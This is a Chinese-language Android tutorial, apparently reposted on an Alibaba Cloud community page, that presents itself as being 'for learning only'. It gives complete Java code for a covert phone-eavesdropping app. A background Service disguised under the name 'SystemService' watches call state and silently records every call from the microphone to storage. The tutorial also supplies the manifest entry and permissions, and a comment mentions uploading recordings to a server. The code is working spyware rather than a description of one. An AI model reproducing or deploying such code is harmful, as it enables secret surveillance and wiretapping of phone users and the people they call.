安卓電話竊聽器小程式(僅用於學習)

來源:互聯網
上載者:User

標籤:安卓   線程   組件   管理   電話竊聽   

寫這個小程式首先需要瞭解安卓系統的後台服務怎麼實現。Service是安卓的四大組件之一。
其次需要瞭解安卓的進程管理,一個安卓程式關閉後,程式雖然不可見,但是程式的進程往往沒有被殺掉,目的是下次啟動的時候方便,但是記憶體資源有限,不可能無限制的保留線程在記憶體中的狀態,所以安卓採用任務棧的方式來管理進程。當記憶體資源不足時,通過將任務棧中優先順序比較低的進程殺掉來釋放資源。
安卓有5個進程優先順序:
1.前台進程 (Foreground process) 目前使用者正在使用的進程
2.可視進程(Visible process) 使用者能看到當前進程的介面,但是該進程不一定是使用者正在使用的
3.服務進程(Service process) 使用者程式的服務元件在後台運行
4.後台進程(Background process) 應用程式沒有服務元件在運行,程式處於最小化狀態
5.空進程(Empty process) 沒有任何的activity
優先順序由上到下降低,任務棧先殺進程的話肯定先殺空進程了。

電話竊聽器的實現的話就是在後台維護一個Service來監聽使用者的打電話狀態了,將電話錄音。

1.後台服務的啟動一般使用Intent,並且使用隱式意圖。

//開啟服務。        Intent intent = new Intent(this,SystemService.class);        startService(intent);    }
//停止服務。        Intent intent = new Intent(this,SystemService.class);        stopService(intent);

2.SystemService是我們實現的功能類,繼承自Service。

public class SystemService extends Service {    // 電話管理器    private TelephonyManager tm;    // 監聽器對象    private MyListener listener;    //聲明錄音機    private MediaRecorder mediaRecorder;    @Override    public IBinder onBind(Intent intent) {        return null;    }    // 服務建立的時候調用的方法    @Override    public void onCreate() {        // 後台監聽電話的呼叫狀態。        // 得到電話管理器        tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);        listener = new MyListener();        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);        super.onCreate();    }    private class MyListener extends PhoneStateListener {        // 當電話的呼叫狀態發生變化的時候調用的方法        @Override        public void onCallStateChanged(int state, String incomingNumber) {            super.onCallStateChanged(state, incomingNumber);            try {                switch (state) {                case TelephonyManager.CALL_STATE_IDLE://空閑狀態。                    if(mediaRecorder!=null){                        //8.停止捕獲                        mediaRecorder.stop();                        //9.釋放資源                        mediaRecorder.release();                        mediaRecorder = null;                        System.out.println("錄製完畢,上傳檔案到伺服器。");                    }                    break;                case TelephonyManager.CALL_STATE_RINGING://零響狀態。                    break;                case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態                    //開始錄音                    //1.執行個體化一個錄音機                    mediaRecorder = new MediaRecorder();                    //2.指定錄音機的聲音源                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);                    //3.設定錄製的檔案輸出的格式                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);                    //4.指定錄音檔案的名稱                    File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");                    mediaRecorder.setOutputFile(file.getAbsolutePath());                    //5.設定音訊編碼                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);                    //6.準備開始錄音                    mediaRecorder.prepare();                    //7.開始錄音                    mediaRecorder.start();                    break;                }            } catch (Exception e) {                e.printStackTrace();            }        }    }    // 服務銷毀的時候調用的方法    @Override    public void onDestroy() {        super.onDestroy();        // 取消電話的監聽        System.out.println("ondestory");        tm.listen(listener, PhoneStateListener.LISTEN_NONE);        listener = null;    }}

3.Service要在AndroidMainfest.xml中配置下

  <service android:name="com.itheima.phonelistener.SystemService" ></service>   

4.許可權相關。

<uses-permission android:name="android.permission.READ_PHONE_STATE" /><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /><uses-permission android:name="android.permission.RECORD_AUDIO" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

安卓電話竊聽器小程式(僅用於學習)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.